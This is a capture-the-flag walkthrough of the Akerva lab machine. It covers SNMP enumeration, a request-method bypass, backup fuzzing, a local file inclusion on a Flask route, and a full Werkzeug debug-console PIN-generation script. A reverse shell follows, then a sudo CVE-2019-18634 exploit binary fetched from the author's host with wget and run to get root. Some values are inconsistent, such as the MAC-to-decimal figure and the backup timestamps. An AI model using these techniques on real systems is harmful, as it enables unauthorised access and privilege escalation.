
Introduction@Akerva:~$
Column | Details |
---|---|
Name | Akerva |
IP | 10.13.37.11 |
Category | Fortress |
Os | Linux |
Creator | https://akerva.com/ |
Difficulty | Medium |
Brief@akerva:~$
Enumerating snmp
using snmpwalk or metasploit , Got some queries and a bash-script
which is forbidden for us but changing the request method we can read the script , The script is creating a backup of website
in every 17 min with the name backup_timestamp
. Fuzzing the file using wfuzz i got the zip file , Enumerating the files got some creds using them i logged in myself to port 5000
and then exploiting the Werkzeug
got a pin.Got reverse shell using the Python-interactive-web-Console . Exploiting the sudo
as the version that is installed has a public exploit available. Got root
shell
Summary :~$
- view-page source on initial webpage
#1 flag
- Plain Sight- Scanning for udp-ports and got
snmp
protocol running - Using snmpwalk or metasploit enumerating
snmp
protocol #2 Flag
- Take a Look Around- Got a file called backup_every_17minutes.sh which is initially forbidden
- Changing the
request-method
and we can read the file #3 Flag
- Dead Poets- The Script is
backing
up the website to a zip file - The name of zip file is backup_timestamp
- Fuzzing the timestamp and got the backup zip file
- Enumerating files and dirs got a python script which contains
creds
#4 Flag
- Now You See Me- Login to port 5000
- Reading the
python
script and got a newfile
which is opening a file by aparameter
filename - Confirming the LFI and reading some sensitive files
#5 Flag
- Open Book- Got the python-interactive-console which is protected by a pin
- Exploiting the
Werkzeug
and getting the pin for console - Running commands in Console and got rev shell as
aas
#6 Flag
- say Friend and Enter- The
sudo
version that is installed is vulnerable to public exploit. - Compiling the c file and running it on the machine
- Got shell as
root
#7 Flag
- Super Mushroom- Got secure_note.md which contains a b64 string
- Decoding it as
vigenere cipher
by plain text attack #8 Flag
- Little Secret
Pwned
Recon
Nmap - Tcp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
➜ akerva nmap -sV -sC -oA scans/nmap.full -p- -T4 -v akerva.htb
# Nmap 7.80 scan initiated Thu Jun 18 00:26:27 2020 as: nmap -sV -sC -oA scans/nmap.full -p- -T4 -v akerva.htb
Nmap scan report for akerva.htb (10.13.37.11)
Host is up (0.45s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 0d:e4:41:fd:9f:a9:07:4d:25:b4:bd:5d:26:cc:4f:da (RSA)
| 256 f7:65:51:e0:39:37:2c:81:7f:b5:55:bd:63:9c:82:b5 (ECDSA)
|_ 256 28:61:d3:5a:b9:39:f2:5b:d7:10:5a:67:ee:81:a8:5e (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Did not follow redirect to http://10.13.37.11/
|_https-redirect: ERROR: Script execution failed (use -d to debug)
5000/tcp open http Werkzeug httpd 0.16.0 (Python 2.7.15+)
| http-auth:
| HTTP/1.0 401 UNAUTHORIZED\x0D
|_ Basic realm=Authentication Required
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-server-header: Werkzeug/0.16.0 Python/2.7.15+
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 18 00:45:54 2020 -- 1 IP address (1 host up) scanned in 1166.81 seconds
Only 3 tcp
ports are opened 2 of them are http
#1 - Flag
Port - 80
Its just some basic site which is running with CMS wordpress
And simply just viewing-page source
of the initial web page i got the first flag
So that was so quick and ezpz
#2 - Flag
There is onw more http
port running/opened (5000)
It requires to be signed in …
I tried to bruteforce the login but that was just what i wished only
Now i just decided to scan for the udp
ports so i can something better
Nmap - Udp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
➜ akerva nmap -sV -sU -oA scans/nmap.udp -T4 -v akerva.htb
# Nmap 7.80 scan initiated Thu Jun 18 00:25:39 2020 as: nmap -sV -sU -oA scans/nmap.udp -T4 -v akerva.htb
Increasing send delay for 10.13.37.11 from 0 to 50 due to 11 out of 17 dropped probes since last increase.
Warning: 10.13.37.11 giving up on port because retransmission cap hit (6).
Increasing send delay for 10.13.37.11 from 200 to 400 due to 11 out of 14 dropped probes since last increase.
Increasing send delay for 10.13.37.11 from 400 to 800 due to 11 out of 23 dropped probes since last increase.
Nmap scan report for akerva.htb (10.13.37.11)
Host is up (0.34s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
1718/udp open|filtered h225gatedisc
16948/udp open|filtered unknown
21847/udp open|filtered netspeak-cs
49156/udp open|filtered unknown
60172/udp open|filtered unknown
Service Info: Host: Leakage
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 18 00:44:22 2020 -- 1 IP address (1 host up) scanned in 1122.65 seconds
As i thought the snmp
port is opened and its running on the SNMPv1 and we actually can enumerate
on the snmp , I used snmpwalk
and metasploit both for enumerating the snmp
snmpwalk
1
2
3
4
5
6
➜ prashant perl /usr/share/doc/libnet-snmp-perl/examples/snmpwalk.pl -v 1 -c public 10.13.37.11
1.3.6.1.2.1.25.4.2.1.5.1221 = OCTET STRING: /opt/check_devSite.sh
1.3.6.1.2.1.25.4.2.1.5.1224 = OCTET STRING: /var/www/html/dev/space_dev.py
1.3.6.1.2.1.25.4.2.1.5.1225 = OCTET STRING: /var/www/html/scripts/backup_every_17minutes.sh AKERVA{#2 - Flag}
1.3.6.1.2.1.25.4.2.1.5.1235 = OCTET STRING: /var/www/html/dev/space_dev.py
Metasploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.13.37.10
msf5 auxiliary(scanner/snmp/snmp_enum) > run
[+] 10.13.37.11, Connected.
[*] System information:
Host IP : 10.13.37.11
Hostname : Leakage
Description : Linux Leakage 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64
Contact : Me <me@example.org>: Sitting on the Dock of the Bay
Uptime snmp : 05:39:02.95
Uptime system : 05:38:42.23
System date : 2020-6-13 10:10:33.0
1236 runnable backup_every_17 /bin/bash /var/www/html/scripts/backup_every_17minutes.sh AKERVA{#2 - Flag}
1241 runnable python /usr/bin/python /var/www/html/dev/space_dev.py
1243 runnable uuidd /usr/sbin/uuidd --socket-activation
I got some query
of the output from metasploit and snmpwalk and the flag too
1
1.3.6.1.2.1.25.4.2.1.5.1225 = OCTET STRING: /var/www/html/scripts/backup_every_17minutes.sh AKERVA{#2 - Flag}
#3 - Flag
I got two files here
/dev/space_dev.py
/scripts/backup_every_17minutes.sh
I need to verify if they do exist or not on website
backup_every_17minutes.sh
Oh…its also asking for username and password
I just changed the request method to post
, Sometime it just bypass these type of logins
Using Curl
Post request
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
➜ prashant curl -XPOST http://akerva.htb/scripts/backup_every_17minutes.sh
#!/bin/bash
#
# This script performs backups of production and development websites.
# Backups are done every 17 minutes.
#
# AKERVA{#3 - Flag}
#
SAVE_DIR=/var/www/html/backups
while true
do
ARCHIVE_NAME=backup_$(date +%Y%m%d%H%M%S)
echo "Erasing old backups..."
rm -rf $SAVE_DIR/*
echo "Backuping..."
zip -r $SAVE_DIR/$ARCHIVE_NAME /var/www/html/*
echo "Done..."
sleep 1020
done
Using Burp-Suite
I captured the request on my burp
and send it to repeater
Request
1
2
3
4
5
6
7
8
9
POST /scripts/backup_every_17minutes.sh HTTP/1.1
Host: akerva.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,hi;q=0.8
Connection: close
Response
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
HTTP/1.1 200 OK
Date: Thu, 18 Jun 2020 07:33:33 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Sat, 07 Dec 2019 01:02:50 GMT
ETag: "196-59912b8b37f2f"
Accept-Ranges: bytes
Content-Length: 406
Connection: close
Content-Type: text/x-sh
#!/bin/bash
#
# This script performs backups of production and development websites.
# Backups are done every 17 minutes.
#
# AKERVA{#3 - Flag}
#
SAVE_DIR=/var/www/html/backups
while true
do
ARCHIVE_NAME=backup_$(date +%Y%m%d%H%M%S)
echo "Erasing old backups..."
rm -rf $SAVE_DIR/*
echo "Backuping..."
zip -r $SAVE_DIR/$ARCHIVE_NAME /var/www/html/*
echo "Done..."
sleep 1020
done
#4 - Flag
So i can read the flag
as well as the whole backup
script , So basically what the script is doing
- Backing up the content of the website to a zip file
- The zip file is saved as
backup_timestamp
and it repeats in every 17 min - SO the zip_file name is changing in every
1020
secs that is 17 min - The backup file is available on the website in
backups
dir
So as i know now that there is a file called backup_$timestamp
on the website itself but since the file name is changing in every 17
mins so we actually dont know its name , We can simply get the current time of the machine by sending a GET
request using curl.
1
2
3
4
5
6
7
8
➜ prashant curl -I http://akerva.htb
HTTP/1.1 301 Moved Permanently
Date: Thu, 18 Jun 2020 13:54:42 GMT
Server: Apache/2.4.29 (Ubuntu)
X-Pingback: http://10.13.37.11/xmlrpc.php
X-Redirect-By: WordPress
Location: http://10.13.37.11/
Content-Type: text/html; charset=UTF-8
The date
header reveals the current date on the machine
1
Date: Thu, 18 Jun 2020 13:54:42 GMT
The file will be saved as
1
backup_$(date +%Y%m%d%H%M%S)
Suppose the time when the backup is started was 18 Jun 2020 13:00:00
The file will be saved as name
1
backup_202006180000.zip
Since i dont know on which exact
minute and sec the backup is started i can FUZZ
the time since it is all only about the mins
and secs
so i can simply FUZZ the Minutes and seconds.
Fuzzing the file
The wordlist
that i am using is just 0000-9999 Since the minute and
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜ akerva wfuzz -u http://akerva.htb/backups/backup_2020061813FUZZ.zip -w 4-digits-0000-9999.txt --hc 404
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzzs documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://akerva.htb/backups/backup_2020061813FUZZ.zip
Total requests: 10000
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000005850: 200 82458 808129 20937179 "5849"
Nice !! i can simple download the file now……
Just append 5849
and remove FUZZ
1
2
3
4
5
6
7
8
9
10
11
➜ akerva wget http://akerva.htb/backups/backup_20200618155849.zip
--2020-06-18 11:21:44-- http://akerva.htb/backups/backup_20200618155849.zip
Resolving akerva.htb (akerva.htb)... 10.13.37.11
Connecting to akerva.htb (akerva.htb)|10.13.37.11|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 22071775 (21M) [application/zip]
Saving to: ‘backup_20200618155849.zip’
backup_20200618155849.zip 100%[=====================================================================================================================>] 21.05M 1.99MB/s in 24s
2020-06-18 11:22:09 (883 KB/s) - ‘backup_20200618155849.zip’ saved [22071775/22071775]
Its downloaded
Unziping the zip file
1
➜ akerva unzip backup_20200618135849.zip
And it got unzipped
, a new dir var
is created in the dir where i am. and i can surf the dirs now
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
➜ html ls -la
total 232
drwxr-xr-x 8 root root 4096 Jun 18 11:23 .
drwxr-xr-x 3 root root 4096 Jun 18 11:23 ..
dr-xr-xrwx 2 root root 4096 Jun 13 07:21 backups
dr-xr-xr-x 2 root root 4096 Feb 8 12:32 dev
-rw-r--r-- 1 root root 405 Feb 8 09:07 index.php
-rw-r--r-- 1 root root 19935 Feb 10 10:56 license.txt
-rw-r--r-- 1 root root 7278 Feb 10 10:56 readme.html
drwxr-xr-x 2 root root 4096 Feb 8 11:04 scripts
-rw-r--r-- 1 root root 6912 Feb 8 08:15 wp-activate.php
drwxr-xr-x 9 root root 4096 Feb 8 08:15 wp-admin
-rw-r--r-- 1 root root 351 Feb 8 08:15 wp-blog-header.php
-rw-r--r-- 1 root root 2275 Feb 8 08:15 wp-comments-post.php
-rw-rw-rw- 1 root root 3244 Feb 10 12:14 wp-config.php
-rw-r--r-- 1 root root 2913 Feb 8 08:15 wp-config-sample.php
drwxr-xr-x 6 root root 4096 Feb 10 11:18 wp-content
-rw-r--r-- 1 root root 3940 Feb 8 08:15 wp-cron.php
drwxr-xr-x 21 root root 12288 Feb 8 08:15 wp-includes
-rw-r--r-- 1 root root 2496 Feb 8 08:15 wp-links-opml.php
-rw-r--r-- 1 root root 3300 Feb 8 08:15 wp-load.php
-rw-r--r-- 1 root root 48437 Feb 10 10:56 wp-login.php
-rw-r--r-- 1 root root 8501 Feb 8 08:15 wp-mail.php
-rw-r--r-- 1 root root 18824 Feb 8 08:15 wp-settings.php
-rw-r--r-- 1 root root 31111 Feb 8 08:15 wp-signup.php
-rw-r--r-- 1 root root 4755 Feb 8 08:15 wp-trackback.php
-rw-r--r-- 1 root root 3133 Feb 8 08:15 xmlrpc.php
So..there are many files inclusing the dev
sir which was forbidden for me….
1
2
3
4
5
6
➜ dev ls -la
total 16
dr-xr-xr-x 2 root root 4096 Feb 8 12:32 .
drwxr-xr-x 8 root root 4096 Jun 18 11:23 ..
-r-xr-xr-x 1 root root 55 Feb 8 11:36 .htaccess
-r-xr-xr-x 1 root root 1015 Feb 8 12:32 space_dev.py
dev/space_dev.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python
from flask import Flask, request
from flask_httpauth import HTTPBasicAuth
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
auth = HTTPBasicAuth()
users = {
"aas": generate_password_hash("AKERVA{#4 - Flag}")
}
@auth.verify_password
def verify_password(username, password):
if username in users:
return check_password_hash(users.get(username), password)
return False
@app.route('/')
@auth.login_required
def hello_world():
return 'Hello, World!'
# TODO
@app.route('/download')
@auth.login_required
def download():
return downloaded_file
@app.route("/file")
@auth.login_required
def file():
filename = request.args.get('filename')
try:
with open(filename, 'r') as f:
return f.read()
except:
return 'error'
if __name__ == '__main__':
print(app)
print(getattr(app, '__name__', getattr(app.__class__, '__name__')))
app.run(host='0.0.0.0', port='5000', debug = True)
And we got the Flag
here and it is also a password
of something and username aas
#5 - Flag
I can confirm that the creds
are working on the port 5000
So nothing is on initial page Beeter we fuzz
it further….
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
prashant wfuzz -u http://10.13.37.11:5000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzzs documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.13.37.11:5000/FUZZ
Total requests: 220560
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000014: 401 0 L 2 W 19 Ch ""
000000017: 401 0 L 2 W 19 Ch "download"
000000759: 401 0 L 2 W 19 Ch "file"
000003644: 200 52 L 186 W 1985 Ch "console"
Got some Cool
things from here i just need to look into these
download
There is a python interactive shell
And filled with some kinds of errors…..
There is a mention of the file we got from the dev
dir from that backup file
1
File "/var/www/html/dev/space_dev.py", line 29, in download
And if i look at the file we have , I can see that the same kind of code that is being used on the website
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# TODO
@app.route('/download')
@auth.login_required
def download():
return downloaded_file
@app.route("/file")
@auth.login_required
def file():
filename = request.args.get('filename')
try:
with open(filename, 'r') as f:
return f.read()
except:
return 'error'
if __name__ == '__main__':
print(app)
print(getattr(app, '__name__', getattr(app.__class__, '__name__')))
app.run(host='0.0.0.0', port='5000', debug = True)
And there we can see its opening a new file called file
1
@app.route("/file")
And the file has a parameter called filename
which is opening a new file as shown in code in read mode and the whatever we specify in ?filename=
its going to read that file if the file doesnt exist or it cant read it , it will show error
. Simple
1
filename = request.args.get('filename')
LFi
The situation is same as lfi
since we can read a file I can confirm the lfi by reading a sensitive file /etc/passwd
/etc/passwd
There is a user
in home dir called aas
flag.txt
I can simply guess that there could be a flag
simply guessed it as flag.txt
I tried to get the private-ssh
keys since ssh port is opened but no…its doesnt exist or we are not have right perms
#6 - Flag
There is one more thing i got from the wfuzz
after fuzzing the initial dir and that is /console
there is an interactve
console but protected by pin
I quick google search about the Python Console Pin
This just show me that the pin is enabled by werkzeug
, its a dependency that is being used to protect the interactive-console with a pin
There is a public
exploit available on web for this pin
functionality
Its the python code that is given to get the pin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
I will be needed to change the code
to some extent….
- User - aas
- /sys/class/net/ens33/address
- /etc/machine-id
Since i have a lfi working so i can simply get the Mac-address
and the machine-id
/etc/machine-id
1
258f132cd7e647caaf5510e3aca997c1
/sys/class/net/ens33/address
1
00:50:56:b9:b1:29
So now i need to convert the mac-address
into the decimat according to the article
I can use python
for this thing
1
2
3
4
5
6
7
➜ akerva python
Python 2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x5056b9b129)
345052393769
>>>
And one more thing in the article the owner used python 3
in the script but in the box python 2.7
is being used we can see that on the /download
and now my full-python script will be
crack-pin.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import hashlib
from itertools import chain
probably_public_bits = [
'aas',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]
private_bits = [
'345052382265', # str(uuid.getnode()), /sys/class/net/ens33/address
'258f132cd7e647caaf5510e3aca997c1' # get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Running script
1
2
➜ console-exploit python exploit.py
280-459-859
And after entering the pin i am in the interactive-console
shell as aas
Since i can run any python code from here now… It i will be better if i just spawn a rev shell
as soon as i run that code i got reverse shell on my netcat listener
1
2
3
4
5
6
7
8
➜ akerva rlwrap nc -nlvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.13.37.11.
Ncat: Connection from 10.13.37.11:42172.
/bin/sh: 0: can't access tty; job control turned off
$
And if i do a ls with -a
i can see a hidden file or a hidden flag
1
2
3
4
5
6
7
8
9
10
$ ls -la
total 28
drwxr-xr-x 3 aas aas 4096 Feb 9 01:42 .
drwxr-xr-x 3 root root 4096 Feb 9 01:39 ..
-rw------- 1 root root 0 Dec 7 2019 .bash_history
-rw-r--r-- 1 aas aas 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 aas aas 3771 Apr 4 2018 .bashrc
-r-------- 1 aas aas 21 Feb 9 01:17 flag.txt
-rw-r--r-- 1 root root 38 Feb 9 01:22 .hiddenflag.txt
dr-xr-x--- 2 aas aas 4096 Feb 10 10:49 .ssh
1
2
$ cat .hiddenflag.txt
AKERVA{#6 - Flag}
#7 - Flag
After some enum when i didnt find anything…I just did a sudo --version
and found what i need further
1
2
3
4
5
$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
And found a poc
on github for this version
I need to compile that exploit.c
and send it to the target machine and run it
Compiling
1
2
➜ sudo-cve-2019-18634 git:(master) ✗ gcc -o sudo exploit.c
➜ sudo-cve-2019-18634 git:(master) ✗
Now send it to machine via wget and python server
Uploading
1
2
3
4
5
6
7
8
9
10
11
12
$ wget http://10.13.14.7/sudo
--2020-06-19 09:28:53-- http://10.13.14.7/sudo
Connecting to 10.13.14.7:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17480 (17K) [application/octet-stream]
Saving to: ‘sudo’
0K .......... ....... 100% 49.4K=0.3s
2020-06-19 09:28:55 (49.4 KB/s) - ‘sudo’ saved [17480/17480]
$
1
2
3
➜ sudo-cve-2019-18634 git:(master) ✗ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.13.37.11 - - [19/Jun/2020 05:11:32] "GET /sudo HTTP/1.1"
Now just need to run it..nothing else
1
2
3
4
5
6
7
8
$ chmod +x sudo
$ ./sudo
[sudo] password for aas:
Harm can come to a young lad like that!
whoami
root
python -c "import pty;pty.spawn('/bin/bash')"
root@Leakage:/tmp#
And we pwned it….time for 7th flag
1
2
3
root@Leakage:/root# cat flag.txt
cat flag.txt
AKERVA{#7 - Flag}
#8 -Flag
I got a secured_note.md
here
secured_note.md
1
2
3
4
5
R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNL
UkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVM
U1BNSUhITU9EQVVLSEUK
@AKERVA_FR | @lydericlefebvre
Its a base64
text
Deconding b64
1
2
3
4
➜ akerva echo "R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNL
UkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVM
U1BNSUhITU9EQVVLSEUK" | base64 -d
GOAHGHEEGSAEEHACEGULREPEEECEOKMKERFSESFRLKERUKTSVPMSSNHSKRFFAGIAPVETCNMDLVFHDAOGFLAFGSKEULMVOOWWCAHCRFVVNVHVCMSYELSPMIHHMODAUKHE
Vigenere cipher
Its been decoded and the result text is vigenere cipher
So i know what the cipher is now
i will be using the Plain text method
to decode the cipher , in this thing i will be needed a plain-text value from the encoded string
As i know that there will be a flag in this string and the flag format is AKERVA{flag}
so i can simply guess that the plaintext value that is present in the string is AKERVA
Decoding
But lol…i cant even understand anything
Than i thought that is there all the 26 alphabets
present in it or not ?
I made a python script to check what chars are missing from the string
1
2
3
4
5
6
7
8
9
10
11
import string
def check(char):
s = "GOAHGHEEGSAEEHACEGULREPEEECEOKMKERFSESFRLKERUKTSVPMSSNHSKRFFAGIAPVETCNMDLVFHDAOGFLAFGSKEULMVOOWWCAHCRFVVNVHVCMSYELSPMIHHMODAUKHE"
if(char.upper() in s):
pass
else:
print char.upper()
alphabets = "abcdefghijklmnopqrstuvwxyz"
for c in alphabets:
check(c)
Running script
1
2
3
4
5
6
➜ akerva python check.py
B
J
Q
X
Z
And as i thought that some chars
are missing and yes they are
The aphabet order will be now
1
ACDEFGHIKLMNOPRSTUVWY
Now decoding again with these alphabets
And now this time i got the key as ILOVESPACE
And the string that got decoded , i can read it very simply
1
WELLRONEFORSOLLINGTHISCHOLLENGEYOUPANSENDYOUGRESUMEHERSATRECRUTECENTAKERVAPOMANDVALIRATETHELASIFLAGWITHAKERVAIKNOOEWVIGEEENEGRRE
and if we read carefully the flag is infront of us
1
AKERVAIKNOOEWVIGEEENEGRRE
And thats how i completed this fortress
Donations
If u like My Content.Support a Poor Student who is collecting money to Get the OSCP-Cert
Donation for OSCP
If you want to get notified as soon as i upload something new to my
blog
So just click on the bell icon you are seeing on the right side – > and allow pushnotification
Resources
Topic | Url |
---|---|
About werkzeug | https://werkzeug.palletsprojects.com/en/1.0.x/debug/ |
Cracking the console pin | https://www.daehee.com/werkzeug-console-pin-exploit/ |
Sudo exploit poc | https://github.com/saleemrashid/sudo-cve-2019-18634/ |